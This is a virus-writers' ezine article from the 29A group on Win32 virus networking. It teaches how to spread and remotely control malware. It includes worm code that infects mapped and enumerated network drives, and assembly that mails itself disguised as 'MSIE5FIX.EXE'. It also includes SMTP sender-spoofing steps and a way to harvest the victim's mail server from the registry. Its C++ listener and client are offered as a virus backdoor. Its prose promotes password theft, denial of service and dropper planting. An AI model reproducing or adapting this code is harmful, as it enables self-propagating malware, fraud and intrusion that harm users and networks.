······························· Win32 Viral Networking Overwiew by GriYo / 29A ······························· I love VX ezines... The articles that deepen in a very concrete topic are my favorite ones, but usually i let them for later... There are some kind of articles that I like to read the first ones: Those which looks like a big compilation of technics and small tricks that always finish being useful. This article belongs to this group. we will speak above several aspects of Win32 networking, but always centering in our viral desires. ········ Blocking ········ We all know the typical operation of a virus: The virus receives the control instead of the program. The virus executes its actions to be became resident and/or to infect other files. The virus returns the execution to the program. All these actions made by the virus have to be carried out very quickly. Otherwise the user could notice that his system works in a different way: The programs take in being executed. Something makes the system to work slowly. Well, this it is the first problem. Some of the functions of those that we will speak require certain time to be done. Among these they are functions to connect with other computers, to send information... The most common ways of avoiding this are: - Creating another process. The virus can drop a copy of itself inside a file with executable extension and later, to execute it. We put the calls to net functions inside the executable created by the virus. This way the execution of the infected program won't be hindered to have to wait for a net function to complete. Advantages? If the program is executed without being noticed by the user the virus will remain resident until the session finishes. This requires to hide the executable in the task-list: Something trivial in Windows9x (using RegisterServiceProcess) but something complex in WindowsNt. Disadvantages? We have to create an executable one in disk. This requires to create its header, the sections that it consists and even maybe its icon. If we have to store all this inside the virus it will be better to start thinking on some compression method. - Creating a thread. Something similar to the above mentioned, but instead of creating a process we create a new thread in the execution of the infected program. Advantages? We don't have to create a file in disk. In consequence we don't have to store information inside the virus like the PE header of the executable. Disadvantages? The thread finished when the program that has thrown it finishes, and this can be in any moment. May be in the middle of some net operation. ··· LAN ··· Local area networks are like a cultivation of cells for a virus. Heaps of computers can be infected in question of... minutes? The idea is to take advantage of the interconnection capacity among the computers in order to be able to infect programs in remote. Some forms of taking finish this are: - We can use the function GetLogicalDriveStrings, which fills a buffer with strings that specify valid drives in the system. If the user has mapped some remote drive into a local drive letter, it will appear in the chain returned by GetLogicalDriveStrings. We can use the function GetDriveType to determine the drive type on which we will work (local, remote, fixed-drive...). - We can enumerate the drives the user is connected to although these they have not been mapped in a local drive letter. To do this we will need to use some APIs of MPR.DLL (WNetOpenEnum, WNetEnumResource and WNetCloseEnum). This part of iWorm.Cholera demostrates the above: ;--------------->8---------------------------------------------------------- long WINAPI L0calThread(long lParam) { char szLD[ 512] ; char *lpszDrive ; int size ; lpszDrive = &szLD[ 0] ; size = GetLogicalDriveStringsA ( 512, lpszDrive) ; if ( ( size != 0) && ( size < 512)) { while ( *lpszDrive != (char ) NULL) { if ( GetDriveTypeA( lpszDrive) == DRIVE_FIXED) { *( lpszDrive + 2) = 0 ; Rem0teInfecti0n( lpszDrive) ; lpszDrive += 3 ; } while ( *lpszDrive != ( char) NULL) lpszDrive++ ; lpszDrive++ ; } } else Rem0teInfecti0n( "C:\\") ; return 0 ; } long WINAPI Rem0teThread(long lParam) { if ( ( hMPR = LoadLibraryA ( szMPR_DLL)) != NULL) { a_WNetOpenEnum = ( FARPROC) GetProcAddress ( hMPR, szWNetOpenEnumA) ; a_WNetCloseEnum = ( FARPROC) GetProcAddress ( hMPR, szWNetCloseEnum) ; a_WNetEnumResource = ( FARPROC) GetProcAddress ( hMPR, szWNetEnumResourceA) ; if ( ( a_WNetOpenEnum != NULL) && ( a_WNetCloseEnum != NULL) && ( a_WNetEnumResource != NULL)) { NetW0rming( NULL) ; } FreeLibrary ( hMPR) ; } return 0 ; } void NetW0rming( LPNETRESOURCE lpnr) { LPNETRESOURCE lpnrLocal ; HANDLE hEnum ; int count ; int cEntries = 0xFFFFFFFF ; DWORD dwResult ; DWORD cbBuffer = 32768 ; if ( a_WNetOpenEnum ( RESOURCE_CONNECTED, RESOURCETYPE_ANY, 0, lpnr, &hEnum) != NO_ERROR) return ; do { lpnrLocal = ( LPNETRESOURCE) GlobalAlloc( GPTR, cbBuffer) ; dwResult = a_WNetEnumResource( hEnum, &cEntries, lpnrLocal, &cbBuffer) ; if ( dwResult == NO_ERROR) { for ( count = 1 ; count < cEntries ; count++ ) { if ( lpnrLocal[ count].dwUsage & RESOURCEUSAGE_CONTAINER) { NetW0rming( &lpnrLocal[ count]) ; } else if ( lpnrLocal[ count].dwType = RESOURCETYPE_DISK) { Rem0teInfecti0n( lpnrLocal[ count].lpRemoteName) ; } } } else if (dwResult != ERROR_NO_MORE_ITEMS) break ; } while ( dwResult != ERROR_NO_MORE_ITEMS) ; GlobalFree ( ( HGLOBAL) lpnrLocal) ; a_WNetCloseEnum( hEnum) ; return ; } ;--------------->8---------------------------------------------------------- Let the imagination to fly. You will find tons of ways to *exploit* the interconnection among computers in a LAN: - To scan a certain range of IPs inside the net in search of certain services (netbios, ftp or any other way to get access to a remote system). - Communication among viruses that reside in different systems... maybe to be able to map the net, or even to be able to disable all the viruses inside the LAN (escape technique). - Something that is not new: To steal passwords or other information present on remote systems. ········ Internet ········ Internet is for a virus like a big LAN, with an advantage: The remote systemas can be in very distant geographical areas. This allows the virus to travel quickly all over the world. Lets see several propagation techniques that are applied to internet... ··························· Electronic mail propagation ··························· If we want our virus to be able to send copies of itself by electronic mail we will need: - A way to build the email messages and to make them arrive to the server. - Mail addresses where to send the virus. - To make that the message seems real, not generated. Step by step. To build electronic mail message we can: - Trust in some system service so that it generates and send the message for us. We can use MAPI that is quite simple, but not very stealthy. - to implement code to carry out the generation and delivery of the message. This may involve to write code to implement SMTP protocol, MIME and BASE64. ····································· Electronic mail propagation with MAPI ····································· MAPI is the easy way for generating mail. You can use MAPI32.DLL and functions like MAPILogOn, MAPISendMail, MAPISendDocuments, etc... To see how simple it is, lets look at this sample code. It looks at the messages in your INBOX folder to get email addresses. Then it generates a message which carries a copy of itself under the name MSIE5FIX.EXE ;--------------->8---------------------------------------------------------- .386P locals jumps .model flat,STDCALL include Win32api.inc include Useful.inc extrn ExitProcess:NEAR extrn LoadLibraryA:NEAR extrn GetModuleFileNameA:NEAR extrn GetProcAddress:NEAR extrn FreeLibrary:NEAR extrn ExitProcess:NEAR _TEXT segment dword use32 public 'CODE' demo_entry: xor ebp,ebp ;We will use delta-offset when including ;this in our virus. By now delta is NULL push MAX_PATH lea eax,dword ptr [ebp+szFileAttach] push eax push 00000000h call GetModuleFileNameA ;Get the path and name of the file ;used to create current process call getMAPI32sz ;Load MAPI32.DLL db "MAPI32.DLL",00h getMAPI32sz: call LoadLibraryA or eax,eax jz errMAPI32 ;Be smart, always do error-checking mov dword ptr [ebp+hMAPI32],eax call getMAPIfunc01 ;Get MAPILogOn entry-point db "MAPILogon",00h getMAPIfunc01: push dword ptr [ebp+hMAPI32] call GetProcAddress or eax,eax jz freeMAPI32 mov dword ptr [ebp+a_MAPILogon],eax call getMAPIfunc02 ;Get MAPILogOut entry-point db "MAPILogoff",00h getMAPIfunc02: push dword ptr [ebp+hMAPI32] call GetProcAddress or eax,eax jz freeMAPI32 mov dword ptr [ebp+a_MAPILogoff],eax call getMAPIfunc03 ;Get MAPISendMail entry-point db "MAPISendMail",00h getMAPIfunc03: push dword ptr [ebp+hMAPI32] call GetProcAddress or eax,eax jz freeMAPI32 mov dword ptr [ebp+a_MAPISendMail],eax ;LogOn... This isnt necesary, as we can call MAPISendMail ;specifying an existing and shared MAPI session lea eax,dword ptr [ebp+hMAPISession] push eax push 00000000h push 00000000h ;MAPI_NEW_SESSION lea eax,dword ptr [ebp+szPassword] push eax lea eax,dword ptr [ebp+szUsername] push eax push 00000000h call dword ptr [ebp+a_MAPILogon] or eax,eax jnz freeMAPI32 ;Build message cld lea edi,dword ptr [ebp+MapiMessage] xor eax,eax stosd ;ulReserved lea eax,dword ptr [ebp+szSubject] stosd ;lpszSubject lea eax,dword ptr [ebp+szNoteText] stosd ;lpszNoteText xor eax,eax stosd ;lpszMessageType lea eax,dword ptr [ebp+szDate] stosd ;lpszDate xor eax,eax stosd ;lpszConversationID mov eax,00000002h ;MAPI_RECEIPT_REQUESTED stosd ;flFlags lea eax,dword ptr [ebp+MsgFrom] stosd ;lpOriginator mov eax,00000001h stosd ;nRecipCount lea eax,dword ptr [ebp+MsgTo] stosd ;lpRecips mov eax,00000001h stosd ;nFileCount lea eax,dword ptr [ebp+MapiFileDesc] stosd ;lpFiles ;Originator xor eax,eax ;ulReserved stosd stosd ;ulRecipClass ;MAPI_ORIG lea eax,dword ptr [ebp+szNameFrom] stosd ;lpszName lea eax,dword ptr [ebp+szMailFrom] stosd ;lpszAddress xor eax,eax stosd ;ulEIDSize stosd ;lpEntryID ;Message destination stosd ;ulReserved inc eax ;MAPI_TO stosd ;ulRecipClass lea eax,dword ptr [ebp+szNameTo] stosd ;lpszName lea eax,dword ptr [ebp+szMailTo] stosd ;lpszAddress xor eax,eax stosd ;ulEIDSize stosd ;lpEntryID ;Attachments stosd ;ulReserved stosd ;flFlags mov eax,00000000h stosd ;nPosition lea eax,dword ptr [ebp+szFileAttach] stosd ;lpszPathName lea eax,dword ptr [ebp+szFileMsg] stosd ;lpszFileName xor eax,eax stosd ;lpFileType ;Send mail push 00000000h push 00000000h lea eax,dword ptr [ebp+MapiMessage] push eax push 00000000h push dword ptr [ebp+hMAPISession] call dword ptr [ebp+a_MAPISendMail] ;Log off logoutMAPI32: push 00000000h push 00000000h push 00000000h push dword ptr [ebp+hMAPISession] call dword ptr [ebp+a_MAPILogoff] ;Free MAPI32.DLL freeMAPI32: push dword ptr [ebp+hMAPI32] call FreeLibrary errMAPI32: push 00000000h call ExitProcess _TEXT ends _DATA segment dword use32 public 'DATA' hMAPI32 dd 00000000h a_MAPILogon dd 00000000h a_MAPILogoff dd 00000000h a_MAPISendMail dd 00000000h hMAPISession dd 00000000h szUsername db "",00h szPassword db "",00h szNameFrom db "test",00h ;Originator szMailFrom db "SMTP:test@test.org",00h szNameTo db "yourself",00h ;Destination szMailTo db "SMTP:yourself@yourself.org",00h szSubject db "Testing MAPI32",00h szNoteText db "This is the message body",00h szDate db "1999/06/06 16:06",00h szFileAttach db MAX_PATH dup (00h) szFileMsg db "MSIE5FIX.EXE",00h MapiMessage equ $ dd 00000000h ;ulReserved dd 00000000h ;lpszSubject dd 00000000h ;lpszNoteText dd 00000000h ;lpszMessageType dd 00000000h ;lpszDate dd 00000000h ;lpszConversationID dd 00000000h ;flFlags dd 00000000h ;lpOriginator dd 00000000h ;nRecipCount dd 00000000h ;lpRecips dd 00000000h ;nFileCount dd 00000000h ;lpFiles MsgFrom equ $ dd 00000000h ;ulReserved dd 00000000h ;ulRecipClass dd 00000000h ;lpszName dd 00000000h ;lpszAddress dd 00000000h ;ulEIDSize dd 00000000h ;lpEntryID MsgTo equ $ dd 00000000h ;ulReserved dd 00000000h ;ulRecipClass dd 00000000h ;lpszName dd 00000000h ;lpszAddress dd 00000000h ;ulEIDSize dd 00000000h ;lpEntryID MapiFileDesc equ $ dd 00000000h ;ulReserved dd 00000000h ;flFlags dd 00000000h ;nPosition dd 00000000h ;lpszPathName dd 00000000h ;lpszFileName dd 00000000h ;lpFileType _DATA ends _BSS segment dword use32 public 'BSS' db "Playing with MAPI32.DLL",00h db "BioCoded by Maia",00h _BSS ends end demo_entry ;--------------->8---------------------------------------------------------- As you can see using MAPI is not very difficult at all, nothing compared with writing your own SMTP engine. If you choose to write your own SMTP engine you will need to code routines to encode de attached files and to handle attachments. ····················································· Electronic mail propagation using our own SMTP engine ····················································· Did you ever sent a mail using TELNET? Just type: TELNET smtp.server.com 25 Use the name of a mail server you know or you normaly use. You should recive an answer like: Connecting to smtp.server.com... Trying x.x.x.x ... connected. 220 smtp.server.com Sendmail 6.66 ready at Sun, 4 June 1999 Remember to press ENTER after each command. Wait for connection and after reciving the answer type: HELO servername.com Then you will recive an answer like: 250 smtp.server.com Hello your.host.com, pleased to meet you Now type: MAIL FROM: This is where the message comes from. You can spoof this address using the username/server you want. Some Win32.Parvo generated email's look's like comming from Microsoft, for instance. Wait for response, it will look like: 250 ... Sender ok And now type: RCPT TO: This last command tells the destination address for the mail. You should recive now this answer: 250 ... Recipient ok Type: DATA The server replies: 354 Enter mail, end with "." on a line by itself Now you can enter the mail body, type the following without waiting for response: FROM: myname TO: someone SUBJECT: just playing with smtp hello! . Note that the last command is a "." by itself. The mail is generated, type: QUIT And the work is done. A self mailing virus using its own SMTP engine have to perform all the above mentioned tasks... The complete list follows: - Check if there is network connection. If the virus calls network APIs without an existing connection a dialog box may appear. Would be funny if CALC.EXE shows a dial-up dialog box when executed. There are several APIs that may result interesting to do this, for instance: InternetGetConnectedState (which belongs to WININET.DLL) or even GetSystemMetrics (using SM_NETWORK as parameter). - Connect to a SMTP server. You can insert some IP addresses for some mail servers inside the virus, but this servers have to allow relaying. A better approach is to take the server address from the registry. Look at the following keys: HKEY_CURRENT_USER\ Software\Microsoft\Internet Account Manager\Accounts\00000001 There is information like the SMTP server to use (key 'SMTP Server'), like the port to connect to (key 'SMTP Port') or even the user email address (key 'SMTP Email Address'). I think this keys are present only when Outlook Express is installed, but nowadays is difficult to find any Windows without it. - Once connected the virus have to send the mail building messages described above ( HELO, MAIL FROM, RCPT TO, etc..). But... What about attachments? The virus have to send an infected executable file. You can use MIME and BASE64. This is an example of a MIME multipart message: ;--------------->8---------------------------------------------------------- MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0005_01BDE2FC.8B286C00" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 This is a multi-part message in MIME format. ------=_NextPart_000_0005_01BDE2EC.8B286C00 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable This is the text message. ------=_NextPart_000_0005_01BDE2EC.8B286C00 Content-Type: application/octet-stream; name=filename.exe Content-Transfer-Encoding: base64',0Ah Content-Disposition: attachment; filename="filename.exe" TVqQAAMAAAAEAAAA//...this is the BASE64 encoded file... ;--------------->8---------------------------------------------------------- For more information on the SMTP protocol read RFC 821 [Postel 1982] and RFC 822 [Crocker 1982]. You can find how MIME works in RFC 1521 [Borenstein and Freed 1993]. ······· WINSOCK ······· Before we have spoken of things as 'connect to the server' or 'send the message'. For this purpose we will use the functions provided by WSOCK32.DLL (socket, connect, send, recv...). There is no need to use Winsock if we are using MAPI (which deliver the messages for us). The following example was written in C++ and shows how to connect to an IRC server on port 6667: ;--------------->8---------------------------------------------------------- // Create IRC SERVER socket m_AsyncSocket = new CAsyncSocket ; if( !m_AsyncSocket->Create( 0, SOCK_STREAM, FD_READ|FD_CONNECT|FD_CLOSE, NULL)) return -1 ; m_AsyncSocket->m_RichEditCtrl = m_RichEditCtrl ; // Connect to IRC SERVER struct sockaddr_in server ; struct hostent *hp ; unsigned int addr ; char servername[]="aire.irc-hispano.org" ; // Check if servername is a name or a ip address if ( isalpha ( servername[ 0])) hp = gethostbyname ( servername) ; else { // IP address addr = inet_addr( servername) ; hp = gethostbyaddr( ( char *) &addr, 4, AF_INET) ; } if ( hp == NULL) { m_AsyncSocket->Close(); return FALSE ; } memset ( &server, 0, sizeof ( server)) ; memcpy ( &( server.sin_addr), hp->h_addr, hp->h_length) ; server.sin_family = hp->h_addrtype ; server.sin_port = htons ( 6667) ; // IRC port if( !m_AsyncSocket->Connect( ( struct sockaddr*) &server, sizeof( sockaddr_in))) { if ( WSAGetLastError() != WSAEWOULDBLOCK) { m_AsyncSocket->Close() ; return -1 ; } } ;--------------->8---------------------------------------------------------- Have a look at Win32.Parvo source code. Parvo uses Winsock to connect to a SMTP server and also implements is own SMTP, MIME and BASE64 engines, everything written in assembler. Other 'creative' ways of using sockets in a virus they can be: - To open a listen port awaiting commands. These commands can instruct the virus to what to make in each moment (to send certain files, to extract passwords, to leave the system or even to destroy it). - Denial of service. We have already seen some examples of this: A virus that creates connections to a certain FTP server leaves them open. If many infected users exist they could be overcome the maximum number of connections allowed by the server. - IRC spreading, by connecting to well known ports on servers and using Internet Relay Chat Protocol, described at RFC 1459 [J. Oikarinen and D. Reed 1993]. - Do work as a bouncer, allowing connections on certain port and redirecting them to other host/port. - In definitive, to make any thing on the net that we don't want to make from our own address. ······················· Hooking networking APIs ······················· A virus can hook Winsock connect API. When this hook recives control the virus can check the desired port, if its 25 (SMTP) its time to spread by mail using that server. This is how the worm HAPPY99 works, and works fine, but requires patching Winsock dll. This tech can be hard to implement without modifying Winsock on some way. The virus can hook Winsock APIs imported by the infected files, but this functions are ussually imported by ordinal or have been included inside a DLL that is loaded by the main executable. The solution is to hook LoadLibrary and GetProcAddress, in order to hook APIs imported by loaded DLLs. I think there arent better samples of this than Vecna's recent network-enabled viruses. But wait! This can be done not only for port 25. We can, for instance, monitor for port 21 (FTP) and try to create a virus dropper on the incomming directory of the server the user is connecting to. Even port 80 (HTTP) can gives us something to play with, again, let your imagination fly. ·············· Remote control ·············· To be able to control a virus in remote through a net seems a formidable idea. As example of this I present two simple programs written using Visual C++. The first of them acts as server, and its the part that we would have to include in a virus that will listened to us. The second it acts as client, and its the program that we would use to be able to communicate with the virus. Something like a remote control. The server program creates a socket and it remains awaiting your orders. When it receives a packet it just displays its contents on a messagebox. This example is very basic, but you could modify it easily. For example, you could code the content of the packages, so that they indicate different actions to carry out. If you recive a 00 could show a message, if you recive a 01 could turn off Windows, etc... This is the way in that programs like BackOrifice or NetBus works. Why not to apply it to a virus?. For instance, a virus that to a certain order left an infected system. Some may wonder why we could want to clean our virus in remote... A virus can be used to penetrate into a system, to carry out a certain mission and left this system... Cool, isnt it? ;--------------->8---------------------------------------------------------- // // SERVER.CPP // #include "stdafx.h" #include #include #define LISTEN_PORT 16384 int main(int argc, char* argv[]) { char Buffer[ 128] ; int retval, fromlen; struct sockaddr_in local, from ; WSADATA wsaData ; SOCKET listen_socket ; if ( WSAStartup( 0x202, &wsaData) == SOCKET_ERROR) { WSACleanup() ; return -1 ; } local.sin_family = AF_INET ; local.sin_addr.s_addr = INADDR_ANY ; local.sin_port = htons( LISTEN_PORT) ; if ( ( listen_socket = socket( AF_INET, SOCK_DGRAM, 0)) == INVALID_SOCKET) { WSACleanup() ; return -1 ; } if ( bind( listen_socket, ( struct sockaddr*) &local, sizeof( local)) == SOCKET_ERROR) { WSACleanup() ; return -1 ; } fromlen = sizeof( from) ; printf ( "Waiting for incomming messages...\n\n") ; do { retval = recvfrom( listen_socket, Buffer, sizeof ( Buffer), 0, ( struct sockaddr *) &from, &fromlen) ; if ( retval != SOCKET_ERROR) { Buffer[ retval] = NULL ; MessageBox( NULL, Buffer, inet_ntoa( from.sin_addr), MB_ICONINFORMATION | MB_OK) ; } } while ( 1) ; closesocket( listen_socket) ; WSACleanup() ; return 0 ; } ;----->8--------------------------------------------------------------------- // // CLIENT.CPP // #include "stdafx.h" #include #include #define LISTEN_PORT 16384 int main(int argc, char *argv[]) { struct sockaddr_in server ; struct hostent *hp ; unsigned int addr ; WSADATA wsaData ; SOCKET conn_socket ; if ( argc != 3) { printf ( "Usage:\n\n%s <\"message\">\n\n", argv[ 0]) ; return -1 ; } if ( WSAStartup ( 0x0202, &wsaData) == SOCKET_ERROR) { printf ( "Error: WSAStartup()\n\n") ; WSACleanup () ; return -1 ; } if ( isalpha ( *argv[ 1])) hp = gethostbyname ( argv[ 1]) ; else { addr = inet_addr( argv[ 1]) ; hp = gethostbyaddr( ( char *) &addr, 4, AF_INET) ; } if ( hp == NULL) { printf ( "Error: Target not found\n\n") ; WSACleanup () ; return -1 ; } memset ( &server, 0, sizeof ( server)) ; memcpy ( &( server.sin_addr), hp->h_addr, hp->h_length) ; server.sin_family = hp->h_addrtype ; server.sin_port = htons ( LISTEN_PORT) ; conn_socket = socket ( AF_INET, SOCK_DGRAM, 0) ; if ( conn_socket < 0) { printf ( "Error: socket()\n\n") ; WSACleanup () ; return -1 ; } // Yes, yes, i know UDP is connectionless... but there is a reason for this, belive me if ( connect( conn_socket, ( struct sockaddr*) &server, sizeof ( server)) == SOCKET_ERROR) { printf ( "Error: connect()\n\n") ; closesocket( conn_socket) ; WSACleanup () ; return -1 ; } if ( send( conn_socket, argv[ 2], strlen ( argv[ 2]), 0) == SOCKET_ERROR) { printf ( "Error: send()\n\n") ; closesocket( conn_socket) ; WSACleanup () ; return -1 ; } return 0 ; } ;----->8--------------------------------------------------------------------- Good, and this is everything per today. I hope you have enjoyed. -- GriYo / 29A I'm not in the business... ...I am the business